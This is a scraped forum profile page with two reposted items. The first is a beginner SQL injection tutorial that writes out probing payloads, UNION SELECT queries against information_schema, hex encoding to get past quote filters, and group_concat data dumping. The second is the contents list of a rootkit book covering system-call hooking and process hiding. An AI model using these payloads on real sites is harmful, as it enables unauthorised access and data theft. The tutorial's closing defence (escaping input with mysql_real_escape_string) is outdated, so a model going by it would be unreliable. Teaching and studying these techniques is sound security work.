-
Posts
18725 -
Joined
-
Last visited
-
Days Won
706
Everything posted by Nytro
-
SQL Injection (detalied) Tutorial created by ande for www.evilzone.org Written December 27, 2009. Updated May 29, 2011. In this tutorial 1.0 What is SQL? 1.1 Types of SQL or SQL engines 1.2 Understanding the SQL structure 1.3 Finding vulnerabilities 1.4 Exploiting vulnerabilities 1.5 Securing vulnerabilities 1.0 What is SQL? SQL stands for Structured Query Language. It is a way to store, modify and update data secure, fast and reliable. SQL is mostly used for web sites but can however be used for almost any application and or service which is in need of storing, editing and or updating data in a good and structured way. In this tutorial I will be using PHP as script language for examples. PHP is a web script engine. Its the most widely used one, its the best one and its the one you are most likely to encounter in real life scenarios. Now, you might think; But if I only learn this on one type of script, don't I have to learn all of this for all other types of scripts?(ASP, ASP.NET, Java, Perl, CGI, [...]) No, you don't. The concept remains the same. However, to truly understand SQL injection on various script types, I encourage you and recommend you from the bottom of my heart to learn the languages. You don't have to learn them all, but perhaps the top 3 most used or something like that. At least PHP. Additionally I will be using MySQL as the SQL engine in examples. Theoretically SQL can be used by any script engine as it is basically just a application listening on a port on a server waiting for commands/instructions. The only requirement is the ability to use TCP/IP protocol. However some script engines like PHP and ASP(.net) got pre-made classes and functions for some of the most common SQL engines. Making it a whole lot easier to interact with the SQL server. In order to run PHP scripts(at least in a browser) you are going to need a PHP supported web server. It is not required to write a single line of code or install anything on your computer to complete this tutorial. But its a good idea to experiment with all of the elements in this tutorial. PHP, MySQL and web server(I recommend apache). Learn more about PHP: http://php.net | PHP - Wikipedia, the free encyclopedia Learn more about SQL: SQL - Wikipedia, the free encyclopedia Learn more about MySQL: http://mysql.com | MySQL Tutorial - Introduction | MySQL - Wikipedia, the free encyclopedia Learn more about Apache: Apache HTTP Server - Wikipedia, the free encyclopedia PS. If you want a really quick way of installing all of the elements above, install WAMP for Windows. Its a all-in-one Apache, MySQL and PHP system for Windows. Alternatively, here is a guide to setup Apache + PHP, but no MySQL: Starting PHP scripting - Setting up a PHP environment In this case you will have to install MySQL for yourself, which can be a bit hard if you are a beginner. 1.1 Types of SQL or SQL engines There are many different variations of SQL. Most of the coming from different companies, some are free some are not. Some are open source, and some are not. Its like everything else really. Some of the different SQL engines are: Oracle MSSQL MySQL PostgreSQL I personally use MySQL because its free and works well with Apache and whatnot. It also got a good syntax. It is also the most used engine so its what you will most likely encounter when doing injections. All SQL in this tutorial will be MySQL. Learn more about MySQL: http://mysql.com | MySQL Tutorial - Introduction | MySQL - Wikipedia, the free encyclopedia 1.2 Understanding the SQL structure The structure of SQL is divided into; Servers, databases, tables, columns and rows. A SQL server is a software running on a computer waiting for commands from console or over the internet(or localhost/lan). A SQL server consists of databases and can contain as many databases as you want. A database consists of tables. A table consists of columns and rows. Here at Evilzone we use a local SQL server. One of our databases(A SMF forum database) contains these tables: Quote smf_attachments smf_ban_groups smf_ban_items smf_boards smf_board_permissions smf_calendar smf_calendar_holidays smf_categories smf_collapsed_categories smf_log_actions smf_log_activity smf_log_banned smf_log_boards smf_log_errors smf_log_floodcontrol smf_log_karma smf_log_mark_read smf_log_notify smf_log_online smf_log_polls smf_log_search_messages smf_log_search_results smf_log_search_subjects smf_log_search_topics smf_log_topics smf_membergroups smf_members smf_messages smf_message_icons smf_moderators smf_package_servers smf_permissions smf_personal_messages smf_pm_recipients smf_polls smf_poll_choices smf_sessions smf_settings smf_smileys smf_themes smf_topics The table smf_members will most likely contain information about all the members on the forum. A few of the columns smf_members contains: Quote ID_MEMBER memberName dateRegistered posts realName ICQ AIM YIM MSN avatar karma Now a row is one line with all these columns. Ill try to show you with a little ASCII awesomeness here. This entire thing is a table: ______________________________________________________ |____ID_____|___Name_____|____Pass___|______Email_______| |_____0_____|____ande____|___abcgefg__|__abc@gmail.com___| |_____1_____|___satan911_ |___abcgefg__|__abc@gmail.com___| |_____2_____|___abcgefg__ |___abcgefg__|__abc@gmail.com___| |_____3_____|___abceqfg__ |___abcgefg__|__abc@gmail.com___| |_____4_____|___affdeqfg__ |___abcgefg__|__abc@gmail.com___| |_____5_____|___abhhefg__ |___abcgefg__|__abc@gmail.com___| |_____6_____|___abaaefg__ |___abcgefg__|__abc@gmail.com___| |___________|____________|___________|_________________| In this table the fields ID, Name, Pass and Email are columns. The items downwards are rows. Row1: |_____0_____|____ande____|___abcgefg__|__abc@gmail.com___| Row2: |_____1_____|___satan911_ |___abcgefg__|__abc@gmail.com___| Row3: |_____2_____|___abcgefg__ |___abcgefg__|__abc@gmail.com___| And so on... Thats pretty much it really. Takes a few brain fluxuations before you will memorize this on your own. Remember: Server(s)->Databases->Tables->Columns and rows 1.3 Finding vulnerabilities Before moving on now, it is a GOOD idea for you to learn the basics about both PHP and MySQL(at least look up some code), it is not required to be able to perform SQL injections, however. You will find it much easier to perform more advance injections later on(And you will actually understand what the fuck is going on behind the scenes!). I will also do this tutorial by showing the server side code in PHP and MySQL. Okay, our target! http://evilzone.org! Lets now try to find a page where our target(http://evilzone.org) uses SQL with user inputs. So you are browsing around on the page. You find these links: Evilzone - Hacking and Security Community - Index (shows an article) Evilzone - Hacking and Security Community - Index (shows a contact form) http://evilzone.org/contact.php?do=submit (you come to this link when you click send on contact form) Okay, the most common use of SQL is when looking for things like articles, posts, threads, comments, user information, product information and so on. The link index.php?page=contact is probably not SQL based because its not normal to load entire pages from SQL(can be done tho), this link is more likely to be vulnerable to RFI or LFI. But you should still try it nonetheless. The link index.php?do=submit might contain SQL however, then it is most likely a POST SQL injection, which I wont cover in this tutorial. Its very normal to save this kind of information in SQL. Now! The link index.php?id=17! This link almost certainly uses SQL. This is a very common thing to use SQL for. The SQL query for this case would look a lot like this: Code: [select] SELECT * FROM articles WHERE id='17' What this does is, it asks the SQL server for all data(*) where the article's ID = 17. Lets say the article table got a ID, subject and text column. The SQL server will then return the id, subject and text data from the table 'articles' where ID is equal to 17. This is the normal way. This is what it does if a normal user browses the page. However, what if we... Lets try to add a ' to the end of the link so the link becomes http://evilzone.org/index.php?id=17' Now the SQL query would look something like this: Code: [select] SELECT * FROM articles WHERE id='17'' This wont work very well, two 's? The SQL server doesn't understand this so it will now return an error message instead of the data of the article it normally would. So the page will now output something like this(where the article used to be): Quote You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 Error no:xxxx Now, if you are not getting such an error message(any error message is good, doesn't need to be 100% like the one above.), but you are getting a blank page(either in form of a totally white blank page or a page with no content at the places where there used to be content without the error prefix(')). No worries. It can still be vulnerable. In a lot of cases, the page wont return any error messages, but there can still be an error behind the scenes. Which means its still vulnerable. Additionally, the ' character is not always the right one to use or is enough to cause an error. Further testing is required to determine if the target is vulnerable. On top of that. Sometimes, instead of displaying an error message or a blank page, it can do things like redirecting to the main page or something similar. If you are getting an error message you can jump to the next chapter(1.4 Exploiting vulnerabilities). I do however, recommend reading this chapter done tho. Up to you. You should know what to do when no error message appears To determine if a target is vulnerable when it does not output any error message from just adding a ' to the link you need to first try some other characters, if still no error message you need to try a few other techniques. Continue reading. Other error prefixes( like the ' ) are: Quote " \ /* '/* "/* '-- "-- '; "; -- ; If none of the above characters create an error, I highly doubt you will ever get one. Lets move on to some other techniques. If you are getting a blank page(either a totally white one or a page with no content where it used to be content without any error prefix). We need to try to "join" the query instead of creating an error. You can do this in a few different ways. Here are the ones I recommend: Quote +order+by+99999 +or+1=2 +and+1=2 Don't mind the + sign, its the equivalent to a space, but if you put a space in your URL, it will become %20, which is a lot harder to read than +. Now, you use the 3 query injections like this: Using +order+by+xThe whole point here is to see if we can order the result by a something. First, take your URL: index.php?id=17 Then just try adding +order+by+1 If the page now returns normally, try adding +order+by+99999 If the page now does not load normally, you might have vulnerable page. Explanation: +order+by+1 will order the returning results from the MySQL server by column 1. The column 1 must exist because a table cannot have 0 columns. But the +order+by+99999 will try to order the results by column nr 99999. This column cannot possibly exist, because that way over the maximum possible columns in a table. Therefor, this should create an error(or return nothing). Additionally, you should try the exact same procedure as above just with adding /* and '-- after the +order+by+x in combination with adding ' and " before +order+by+x Examples: '+order+by+1 "+order+by+1/* '+order+by+1'-- +order+by+1/* [...] Using +or+x=xThe whole point here is to see if we can trick the SQL server into making a question true no matter what. First, take your URL: index.php?id=17 then change the number(or whatever your URL have as value) into something completely different from its original value. Because this is a number, we will change it into -1. Most likely the SQL server does not got a article with the ID -1 Our URL now looks like this: index.php?id=-1 Then just try adding +or+1=1 If the page now returns normally, try adding +or+1=2 If the page now does not load normally, you might have vulnerable page. Explanation: +or+1=1 will always return true. In this example with the query I showed you above this will make the entire query something like this: Code: [select] SELECT * FROM articles WHERE id='-1' or 1=1 So, the SQL server will return all articles where 1=1! This also means you will most likely not the get same article you got the first time, but rather the first article in the database. Or you will get all articles on the same page. nonetheless, we got ourselfs a vulnerable page! Additionally, you should try the exact same procedure as above just with adding /* and '-- after the +or+1=1 in combination with adding ' and " before +or+1=1. Also try 'a'='a and "a"="a instead of 1=1 (yes without the last ' and ") Examples: '+or+1=1 '+or+'a'='a +or+1=1/* [...] Using +and+x=xThe whole point here is to set another condition in the query to see if we can affect the query at all. First, take your URL: index.php?id=17 Then just try adding +and+1=1 If the page now returns normally, try adding +and+1=2 If the page now does not load normally, you might have vulnerable page. Explanation: +and+1=1 will set another requirement in the query. The query will become like this: Code: [select] SELECT * FROM articles WHERE id='17' and 1=1 But when you put +and+1=2 the query becomes like this: Code: [select] SELECT * FROM articles WHERE id='17' and 1=2 This will of course never be true, because 1 will never be equal to 2. So, if you are able to set your own requirements in the query, we can also do an information retrieval injection, which in the end is what SQL injection is all about. Getting information you are not supposed to. Additionally, you should try the exact same procedure as above just with adding /* and '-- after the +and+x=x in combination with adding ' and " before +and+x=x. Also try 'a'='a and "a"="a instead of 1=1 (yes without the last ' and ") Examples: '+and+1=1 '+and+1=1/* "+and+'a'='a '+and+"a"="a [...] If you after using at least one of the above techniques got no indications that the page could be vulnerable. It probably is not vulnerable. Find a new URL! PS: If you actually learn MySQL syntaxes and SQL logic you wont have to do as much trial and error as I have described in the techniques above. You will understand how/why the different prefixes does and when they are necessary/required/possible. 1.4 Exploiting vulnerabilities Once you have found a vulnerable link it is pretty straight forward. (Well, can be at least. Your injection could be blind and that will make your life a lot harder. Blind injections are NOT covered in this tutorial.) Just a quick description of blind SQL injection(Credits to owasp.org) Quote Overview When an attacker executes SQL Injection attacks, sometimes the server responds with error messages from the database server complaining that the SQL Query's syntax is incorrect. Blind SQL injection is identical to normal SQL Injection except that when an attacker attempts to exploit an application, rather then getting a useful error message, they get a generic page specified by the developer instead. This makes exploiting a potential SQL Injection attack more difficult but not impossible. An attacker can still steal data by asking a series of True and False questions through SQL statements. Back to our vulnerable link. It is a good idea to try to visualize what the SQL query looks like. In this case it is pretty easy. But in more advance injections this really helps out. So again, the query looks like this: Code: [select] SELECT * FROM articles WHERE id='ID'<-INJECTION GOES HERE The first thing we need to do is find out how many column it is in the table 'articles'. This is because we are going to use the UNION ALL SELECT command. What this UNION ALL SELECT command does is that it allows you to SELECT something in the database two times within the same query, it will then return the data of both the SELECT commands as if it was one query. So.. In this case we know that the table got 3 columns(ID, subject, text). If we don't know this, there are two things you can do. You can do it by using the ORDER BY command or you can just try it out to your query works. However, I would normally go for the ORDER BY command as this does not create lots of nasty logs and its faster if its more than 5 columns or so. The ORDER BY command does exactly what it sounds like. It orders things alphabetically, numeric or by date/time. It can order by name or offset of a column. That means you can do ORDER BY ID or ORDER BY 1, this will be the same if the column ID is the first column. That again means that we can find out how many columns the table got by trying to order by offsets until we get a error or blank page starting at something like 5. So here we go: TIP: Use + instead of space, makes it much cleaner. Evilzone - Hacking and Security Community - Index : Returns blank page Evilzone - Hacking and Security Community - Index : Returns normal page Evilzone - Hacking and Security Community - Index : Returns blank page Evilzone - Hacking and Security Community - Index : Returns normal page Okay, so 4 is to high and 2 is to low because 3 obviously worked. Now we know the table got 3 columns! Now we are almost ready to start getting some juicy data. But I have kinda cheated for you guys. Because normally we don't know what the names of the columns are, I just said they are named ID, subject and text. So we need to look this up. Before we can look up what the column names are, we need to find out what version of MySQL the server are running. Newest one are 5.*** and the one you MIGHT come by is 4.*** We can use the UNION ALL SELECT command already, however its pointless for data extraction without the column names(actually its not even possible). But we can get the version without the names. This is what you need to do now: Evilzone - Hacking and Security Community - Index There we go, now we used the UNION ALL SELECT command. We do 1,2,3 because it is 3 columns. If it was 5 you will have to do 1,2,3,4,5 and so on... The page now should/may output "2" as subject and "3" as the article text. 1 is should not be there because the ID is probably not printed to the page. If the page outputs "2" and "3", then great! Skip past the next text block. If not read this; The UNION ALL SELECT doesn't replace the first SELECT so in some cases(depending on the PHP code) we have to cause an select that will select nothing first. What we can do then is put something like 99999 instead of 17. This will return nothing because article NR 99999 doesn't exist(just make sure 99999 really does not exist ). But the union all select will return 1,2,3 and this will be printed to the page instead. Our page now outputs "2" as subject and "3" as article text. We can now find out what version they are running. This is how you do that: Evilzone - Hacking and Security Community - Index Now the text("3") will be replaced with the information about what version they are running. If the version query returns as 5.*** then you can skip the next block of text, if it returns 4.*** read this; In the MySQL version V4 they did not have the database called 'information_schema' which in V5 contains all information about all tables and columns(names, ids and more). That means, in V4 it is impossible to find out the table and column names, the only way to then get any data out is by guessing the table/column names which is time consuming and may create a lot of logs... If you wish to continue the injection, you should read through the rest and then understand how to guess the names. There are programs to brute force the table and column names. ------------------------------------------- Okay, before we continue now. I just want to get something of my heart. If you are getting errors from even trying to UNION ALL SELECT anything. And are either getting error messages that says something like "wrong type" or something like that, or are just getting blank page/redirection: If the table of the first SELECT command in a query you are trying to UNION ALL SELECT is built in such a way that, lets say the first two columns are set to be numbers, and the last one is set to be a text value(I am using 3 columns because thats what we are dealing with here). You have to follow that pattern in the UNION ALL SELECT command too. So if the first SELECT is 2x columns of type number and then a text column, your UNION ALL SELECT command have to be alike(UNION ALL SELECT 1,2,'text'). Which means for us that we cannot use the 2 number in the query to get text information from the SQL server. But we will continue this tutorial as if the columns we are using wont create any errors. We can now "ask" the database 'information_schema' for the column names. The 'information_schema' database contains a table called 'tables' and a table called 'columns'. The table 'tables' inside the database information_schema contains information about all the tables within all the databases on the server. So to find table names you can "ask" the table 'tables' in the database 'information_schema'. The table 'columns' in the database 'information_schema' contains information about all the columns inside all the tables in all the databases on the server. So to get column names you can "ask" the table 'columns' in the database 'information_schema'. Note: The table 'columns' in 'information_schema' also contains table names, therefore we can get both column and table names with one query if we want to. But before we can ask the 'column' table for column names we need to know what table we want to extract information from. You do that by asking the table 'tables' in the database 'information_schema' for table names. But when doing this without any more requirements than just "give me everything" to the SQL server, it will return ALL table names in the entire server. And that can be a lot on large servers. So.. We need to specify our question to the table a bit better. To get all table names in a specific database you do this: Code: [select] Evilzone - Hacking and Security Community - Index' This will ask the table 'tables' in 'information_schema' for all table names where the database name is 'DatabaseName'. Remember, databases consists tables, so each table will always have a owner database. To ask it for all table names in the current database, the one already used by the original query you do this: Code: [select] Evilzone - Hacking and Security Community - Index to code tag them because they fucked up the formating) The variable database() represents the database in use by the first SELECT command in the query. TIP: schema means database Again, before we continue now. I have to make an important note. If your injections are failing when you have 's or "s in them, you have to convert your arguments to HEX. A lot of things in MySQL can be represented at HEX instead. When you want to represent things as HEX you simply remove the 's or "s and put 0xHEX_NMBERS instead. The 0x will indicate to the MySQL server that the value is a HEX string. Here is the above link that contained 's in HEX version: Code: [select] Evilzone - Hacking and Security Community - Index An excellent online text to HEX converter: Convert String To Hexadecimal Online Continuing... Now, where the number "3" or where originally the article text was it should now be a table name. Lets say this database contains the tables: Quote articles users log Then you should see 'articles' because it is the first table. Okay, so we know the database got a table called 'articles', lets check that one out. Now we need to get the column names for the table 'articles'. To get the column names of a table you do this: Code: [select] Evilzone - Hacking and Security Community - Index' Note the 's in the query, remember what I wrote about 's and HEX. Okay, lets break it down a bit. Now we have used the UNION ALL SELECT command and we asked the database 'information_schema' if it got a table called 'columns', and it did, so we asked the table 'columns' if it could give us all the names of the columns in the table called 'articles' BTW, the concat() will return everything inside it as a merged value. Example: concat('h', 'e', 'll', 'o') will return hello. Concat() is not needed in this query but its a good idea to learn how to use it, as you will need it later. The place where the number "3" used to be or the place where the article text is when using the page normally should now have a name in it. In this case it should have the value 'ID'. This is because the column name 'ID' is the first column in the table 'articles'. So now we know one of the column names in the table. To get the rest we have to use the LIMIT command. The LIMIT command will return a limited/selected amount of rows from a table. Example: We got a table with only one column, the column is called ID. We got 10 rows: ____ |ID_| |_1_| |_2_| |_3_| |_4_| |_5_| |_6_| |_7_| |_8_| |_9_| |_10| If we do: Code: [select] SELECT * FROM TheTableAbove LIMIT 0,5 It will return the row 1 to 5 If we do: Code: [select] SELECT * FROM TheTableAbove LIMIT 5,5 It will return the row 5 to 10 Now, back to getting the column names. Lets try to get column name NR 2, NR 1 is 'ID', we got that from the previous query. Code: [select] Evilzone - Hacking and Security Community - Index This should return the name 'subject'. This is because the columns 'subject' is columns NR 2. So by limiting the result from result 1(0 is the first) and then give us the next 1 result(s) we get 'subject'. To get the last column name we limit it 2,1. Code: [select] Evilzone - Hacking and Security Community - Index This should return 'text'. Again this is because we now are limiting the results from the server by row NR 2 and asks for the 1 next result(s). Alright, so the situation is: We want to check out a table called 'articles'. We got the table name from asking the table 'tables' in the database 'information_schema' The table 'articles' got these columns: ID | subject | text We got the column names from asking the table 'columns' in the database 'information_schema' for all column names in the table 'articles' Now! All we need to do is extract what we want. All through this table 99% likely is not interesting at all we now are gonna try to extract all the info out of article NR 23, this is because we act like that article is for admins only, but we want to read it anyway. To extract information you do like this: Code: [select] Evilzone - Hacking and Security Community - Index, subject, text)+FROM+articles+WHERE+ID=23 Now you will see a almost normal looking article, however the subject will still be “2”. But the text will now look like this(Lets say that the subject is “admin passwords” and the text is “abcabcabc”): Quote 23admin passwordsabcabcabc This is because we asked for the ID which is 23, then the subject which is "admin passwords" and then the text which is "abcabcabc". This is a bit messy.. So lets try to clean things up by splitting the 3 columns with a '<br /><br />': Code: [select] http://evilzone.org/index.php?id=17+UNION+ALL+SELECT+1,2,concat(ID,'<br /><br/>',subject,'<br /><br />',text,'<br /><br />')+FROM+articles+WHERE+ID=23(Remember the HEX thing? Most likely you will have to use that here.) HEX version: Code: [select] Evilzone - Hacking and Security Community - Index Now you will see this: Quote 23 admin passwords abcabcabc I know this information wasn't all that interesting but this is basically how you do it! Lets say you want to check if the database got a user information table. Then you simply use the limit command on the: Quote http://evilzone.org/index.php?id=17+UNION+ALL+SELECT+1,2,concat(table_name)+FROM+information_schema.tables+WHERE+table_schema='DatabaseName' OR Quote http://evilzone.org/index.php?id=17+UNION+ALL+SELECT+1,2,concat(table_name)+FROM+information_schema.tables+WHERE+table_schema=database() And repeat the whole process all over again. Okay. I have a confession to make. The method you guys learned now is the very hard way. But I wanted you to know how to do it that way because sometimes its necessary. And I know you would have just skipped to the easy version if I told you earlier To now we have used the concat() function to group up different columns into one. But this does not limit the amount of rows the SQL server returns. So (depending on the PHP code) we will only get the first row of the returned results printed to the page. Depending on the PHP code, if it is coded in such a way that it will only output the first row or if it will loop thought all the rows and print them out. Either way, I will introduce you to a new function. The group_concat() function. This will not only allow you to group up multiple columns and values into one, but also grouping up rows so you don't have to use the LIMIT at the end and send a million requests. However, I must warn you. The group_concat default max length is only 1024 characters. Thats why its very often necessary doing it the hard way, with LIMIT. If the returned value is more than 1024 characters the rest will just be discarded. nonetheless. This is how you do it: Remember the 'article' table from above? Well, lets try getting all its column names from the 'information_schema.columns' instead of doing LIMIT: Code: [select] Evilzone - Hacking and Security Community - Index' This should now return as: Quote ID,subject,text Now we have gotten the same amount of information that we had to send three requests for last time in one request! This method can be used in all the other queries above to. 1.5 Securing vulnerabilities What every PHP coder(and any other web page coder) should ALWAYS do: strip/check/secure ALL user inputs! Instead of doing: Code: [select] $variable = $_GET['Some_user_input_name']; Do: Code: [select] $variable = mysql_real_escape_string($_GET['Some_user_input_name']); The mysql_real_escape_string() function will prohibit any escape character (' or " or \ etc) to do any damage. And therefore an injection is impossible. And remember to use ' around the variable like this: Code: [select] db_query("SELECT * FROM Somewere WHERE Something='".$variable."'); Use of the is_numeric() function where the inputs are always going to be numbers either way is also a good idea. And also check the number length, your number should never be so high that it stats using e's (51.315+315e). So a simple if (num > 99999999999) {die;} will work fine. Other inputs are: Quote $_POST[''] $_COOKIE[''] $_FILES[''] $_REQUEST[''] $_SESSION[''] It is so god damn easy so why people do not do it is a mystery to me. Sursa: SQL Injection
-
The Rootkit Arsenal Escape and Evasion in the Dark Corners of the System Reverend Bill Blunden Preface: Metadata . . . . . . . . . . . . . . . . . . . . . . . . . . . . . XIX Part 1- Foundations Chapter 1 Chapter 2 Setting the Stage . ........ ..... .. .. . 1.1 Forensic Evidence 1.2 First Principles. . . . . . . . . . . . . . . . . . . . . . Semantics ....... ... ... ......... .. . Rootkits: The Kim Philby of System Software . . . . Who Is Using Rootkit Technology? The Feds .. The Spooks .... .. . The Suits .... ... . 1.3 The Malware Connection. Infectious Agents . . . Adware and Spyware . . . Rise of the Botnets . . . . Malware versus Rootkits . Job Security: The Nature of the Software Industry . 1.4 Closing Thoughts. . . . . . . . . . . . . . . Into the Catacombs: IA-32 . . . . . . . . . . . . . . 2.1 IA-32 Memory Models. Physical Memory . . . . . . Flat Memory Model. . . . . Segmented Memory Model Modes of Operation. . 2.2 Real Mode. . . . . . . . . . Case Study: MS-DOS .... Isn't This a Waste of Time? Why Study Real Mode? . The Real-Mode Execution Environment Real-Mode Interrupts .. .... .. . Segmentation and Program Control . . . Case Study: Dumping the IVT . . . . . . Case Study: Logging Keystrokes with a TSR . Case Study: Hiding the TSR . . . . . . . . . . · ..... 3 .3 · . ..... 8 · . .. ... 9 .. 11 · 13 · 13 · 13 · 15 · 15 · 16 · 17 · 17 · 19 · 19 · 21 ... . 23 . 24 · 25 . 27 · 27 . 28 .29 . 30 . ..... 32 . 33 · 35 .38 .40 · 41 .45 v (ontents Chapter 3 vi Case Study: Patching the tree.com Command Synopsis ........ .... ..... .. . . 2.3 Protected Mode. . . . . . . . . . . . . . . . . The Protected-Mode Execution Environment. Protected-Mode Segmentation ..... . Protected-Mode Paging ......... . Protected-Mode Paging: A Closer Look . 2.4 Implementing Memory Protection .... Protection through Segmentation . . . . Limit Checks . . . Type Checks . . . . . . . . . . Privilege Checks. . . . . . . . Restricted-Instruction Checks Gate Descriptors . . . . . . . . . Protected-Mode Interrupt Tables Protection through Paging . . Summary . .............. . Windows System Architecture . • . . . • • . . . . . 3.1 Physical Memory . . . . . . . . . . Physical Address Extension (PAE) . . . Data Execution Prevention (DEP) .... Address Windowing Extensions (AWE) . Pages, Page Frames, and Page Frame Numbers 3.2 Memory Protection . Segmentation . . . . . . . . . . . . . .. .... . Paging . . . . . . . . . . . . . . . . . .. . ... . Linear to Physical Address Translation . Longhand Translation . . . A Quicker Approach . . . . Another Quicker Approach 3.3 Virtual Memory . . . . . . . . User Space Topography . ... Kernel Space Dynamic Allocation . Address Space Layout Randomization (ASLR) . 3.4 User Mode and Kernel Mode . How versus Where . . . . Kernel-Mode Components User-Mode Components 3.5 The Native API .. .. . . The IVT Grows Up ... . Hardware and the System Call Mechanism System Call Data Structures . . The SYSENTER Instruction. . . . . . . .... 50 .. .. 53 · .54 .54 .57 · 61 .63 . 66 · 67 .67 · .68 .68 .69 .70 · 73 . 74 .76 ..... 79 .80 · 81 .82 .82 .83 .83 .84 .86 · 91 · 91 .92 .93 .93 .96 · .97 · .98 100 100 101 103 · 105 · 106 · 107 108 . ..... 109 Chapter 4 The System Service Dispatch Tables . Enumerating the Native API . . . Nt*O versus Zw*O System Calls. The Life Cycle of a System Call . Other Kernel-Mode Routines . .. Kernel-Mode API Documentation 3.6 The Boot Process . . . . . . Startup for BIOS Firmware . . Startup for EFI Firmware. . . The Windows Boot Manager . The Windows Boot Loader . Initializing the Executive. The Session Manager . Wininit.exe. . . . . Winlogon.exe. . . . The Major Players. 3.7 Design Decisions . How Will Our Rootkit Execute at Run Time? . What Constructs Will Our Rootkit Manipulate? . Rootkit Basics . . . . 4.1 Rootkit Tools .... Development Tools Diagnostic Tools . . Reversing Tools . . Disk Imaging Tools Tool Roundup. . . . 4.2 Debuggers. . . . . Configuring Cdb.exe . Symbol Files . . . Windows Symbols. Invoking Cdb.exe . . Controlling Cdb.exe . Useful Debugger Commands. Examine Symbols Command (x) . List Loaded Modules (1m and !lmi) Display Type Command (dt) . Unassemble Command (u) . Display Command (d*) . . . Registers Command (r) .. . The Kd.exe Kernel Debugger Different Ways to Use a Kernel Debugger . . Configuring Kd.exe . . . . Preparing the Hardware . . . . . . . . . . Contents 110 113 114 116 119 122 124 124 126 126 127 130 132 134 134 · 134 · 136 137 · . 138 .... 141 142 · 142 · 143 · 144 145 147 148 150 · 150 · 151 · 153 · 154 · 155 155 157 158 158 159 161 161 · . 162 · 164 · . 164 vii Contents viii Preparing the Software. . . . . . . . . . ' . Launching a Kernel Debugging Session . . . Controlling the Target. . . . . . . . . . . . . Useful Kernel-Mode Debugger Commands .. List Loaded Modules Command (1m) !process ... ... ... . . Registers Command (r) .. . Working with Crash Dumps . . Method 1 . ..... . Method 2 ..... .. . Crash Dump Analysis .. 4.3 A Rootkit Skeleton. . . . . Kernel-Mode Driver Overview. A Minimal Rootkit . Handling IRPs . DeviceType . Function . Method .. . Access .. . . Communicating with User-Mode Code Sending Commands from User Mode Source Code Organization .. . Performing a Build ... ... . WDK Build Environments . Build.exe ... ...... . 4.4 Loading a KMD . .... .. . The Service Control Manager (SCM) . Using sC.exe at the Command Line . Using the SCM Programmatically . Registry Footprint . . . . . . . . . . ZwSetSystemInformationO. . . . . . . . . Writing to the \Device\PhysicaIMemory Object. Modifying Driver Code Paged to Disk . Leveraging an Exploit in the Kernel . 4.5 Installing and Launching a Rootkit. . . Launched by the Operating System . . Launched by a User-Mode Application. Use the SCM . ...... ... .... ... .. . . .. 166 168 169 170 170 · .. .. 171 · . .. . 173 · .... 173 · 174 · 175 175 176 176 178 181 · 185 · 186 · 186 · 186 187 190 193 194 194 · 195 198 · 198 · 199 .200 .202 . 203 . 208 .208 · 210 · 210 · 211 · 212 . . . . . . . 212 Use an Auto-Start Extensibility Point (ASEP) .. ....... 213 Install the Launcher as an Add-On to an Existing Application . 215 Defense in Depth . . . 216 Kamikaze Droppers . . 216 Rootkit Uninstall. . . . 219 Contents 4.6 Self-Healing Rootkits ..... . ... . .. .. .... .... .. 220 Auto-Update . . . . . ..... . . .... . .. ... .. .. ... 224 4.7 Windows Kernel-Mode Security . .. . . .... ... . . .. . . 225 Kernel-Mode Code Signing (KMCS) .... . ... .... .... 225 Kernel Patch Protection (KPP) . . . . . . . . . . . . . . . . . . . 229 Restricted Access to \Device\PhysicaIMemory . . . . . . . . . . 230 4.8 Synchronization . . . . . . . . . . . . . . . . . . . . . .. . . 230 Interrupt Request Levels . . . . . . . . . . .. . .. 230 Deferred Procedure Calls (DPCs) . . . . . .. ... . . . . . 234 Implementation . . . . 235 4.9 Commentary. . . . . . . . . . . . . . . . . . . . . ... . . .. 240 Part II - System Modification Chapter 5 Hooking Call Tables. . . . . . . . . . . . . . . . . . . . . . 243 5.1 Hooking in User Space: The lAT .... . . . . ... . . . . . . . 245 DLL Basics ........ ..... . .... .. ... .. ..... 246 Accessing Exported Routines. . . . .. . 247 Load-Time Dynamic Linking . . . . . . 248 Run-Time Dynamic Linking . . . .. . 249 Injecting a DLL . . . . . . . . . . . 250 The AppInit_DLLs Registry Value. . 250 The SetWindowsHookExO API Call . . 251 Using Remote Threads . . . . . . . . . 252 PE File Format . . . . . . . . . . . . . . . 255 The DOS HEADER. .... .. . .... .. . .. .. 255 RVAs .... ..... . .. . .... . ...... . . .... .. 256 The PE Header . . . . . . . . . . . . . . . . . . . . . . . . . . 257 Walking through a PE on Disk . . . . . . . . . . . . . . . . . . 260 Hooking the IAT .... .... . ... . ... . .... .... 265 5.2 Hooking in Kernel Space . . . . . . . . . . . . . . . . . . 269 Hooking the IDT. . . . . . . . . . . . . . . . . . . . . . . . . . . 270 Handling Multiple Processors - Solution 1 . . . . . . . . . . 271 Naked Routines . . . . . . . . . . . . . . . . . . . . . . . . . . 276 Issues with Hooking the IDT . . . . . . . . . . . . . . . . . . 278 Hooking Processor MSRs . . . . . . . . . . . . . . 279 Handling Multiple Processors - Solution 2 . . 282 Hooking the SSDT. . . . . . . . . . . . . . 286 Disabling the WP Bit - Technique 1 . . 288 Disabling the WP Bit - Technique 2 . . 289 Hooking SSDT Entries . . . . . . . . . . 291 SSDT Example: Tracing System Calls. . ... 293 SSDT Example: Hiding a Process. . . . . . . . . . . .... 296 ix Contents Chapter 6 x SSDT Example: Hiding a Directory . . . . . . . SSDT Example: Hiding a Network Connection. Hooking IRP Handlers . . . . . . . . . . . Hooking the GDT - Installing a Call Gate 5.3 Hooking Countermeasures . . . . . Checking for Kernel-Mode Hooks. Checking IA32 _ SYSENTER EIP. Checking INT Ox2E . . . Checking the SSDT . . . . . . . Checking IRP Handlers . . . . . Checking for User-Mode Hooks Parsing the PEB - Part 1. . Parsing the PEB - Part 2. . 5.4 Counter-Countermeasures . Patching System Routines. . . . . . . . . Binary Patching versus Run-time Patching The Road Ahead . . 6.1 Run-time Patching. Detour Patching . . Detour Jumps ... Example 1: Tracing Calls Detour Implementation. Acquire the Address of the NtSetValueKeyO . Initialize the Patch Metadata Structure . . . . · 301 .305 . 306 . 308 · 317 · 318 · 321 . 322 . 324 . 325 .327 .330 .336 .337 . .. . 339 . 340 .340 .340 · 341 .344 . 346 · 351 .354 .354 Verify the Original Machine Code against a Known Signature . 356 Save the Original Prolog and Epilog Code. Update the Patch Metadata Structure. . . Lock Access and Disable Write Protection Inject the Detours . The Prolog Detour . The Epilog Detour . Post-Game Wrap-Up Example 